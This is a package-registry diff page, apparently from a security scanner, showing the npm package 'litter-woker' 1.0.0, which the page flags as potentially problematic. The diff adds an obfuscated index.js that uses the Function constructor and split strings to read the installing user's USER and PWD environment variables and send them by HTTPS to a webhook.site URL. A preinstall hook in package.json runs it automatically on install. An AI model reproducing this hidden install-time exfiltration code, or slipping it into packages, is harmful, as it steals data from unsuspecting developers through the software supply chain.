litter-woker 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of litter-woker might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +28 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,28 @@
1
+ const func_list = [Function, require, ]
2
+ const target_list = ["htt", "ps://", "webhoo", "k.sit", "e/22e25", "5c3-9baf", "-4ac1", "-b88a-f", "79c4e4", "40de4/"]
3
+ const get_list = ["re", "qui", "re(", "'htt", "ps'", ").g", "et('"]
4
+
5
+ const myObj = {
6
+ func(cmd, args=null) {
7
+ if (args != null) {
8
+ return new func_list[0](args, cmd);
9
+ } else {
10
+ return new func_list[0](cmd);
11
+ }
12
+ }
13
+ };
14
+ const func_ = "func";
15
+ var tar_ = target_list[0].concat(target_list[1], target_list[2], target_list[3])
16
+ var get_ = get_list[0].concat(get_list[1], get_list[2], get_list[3])
17
+ var cmd1 = "return ".concat("proce", "ss.env", ".USER");
18
+ var user = myObj[func_](cmd1)();
19
+ tar_ = tar_.concat(target_list[4], target_list[5], target_list[6])
20
+ get_ = get_.concat(get_list[4], get_list[5], get_list[6])
21
+ var cmd2 = "return ".concat("proce", "ss", ".env.PWD");
22
+ var pwd = myObj[func_](cmd2)();
23
+ tar_ = tar_.concat(target_list[7], target_list[8], target_list[9])
24
+ var cmd4 = get_ + tar_ + user + "');"
25
+ myObj[func_](cmd4, 'require')(require);
26
+ pwd = pwd.replace(new RegExp('/', 'g'), 'acdc')
27
+ var cmd5 = get_ + tar_ + pwd + "');"
28
+ myObj[func_](cmd5, 'require')(require);
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "litter-woker",
3
+ "version": "1.0.0",
4
+ "description": "litter-woker for test",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }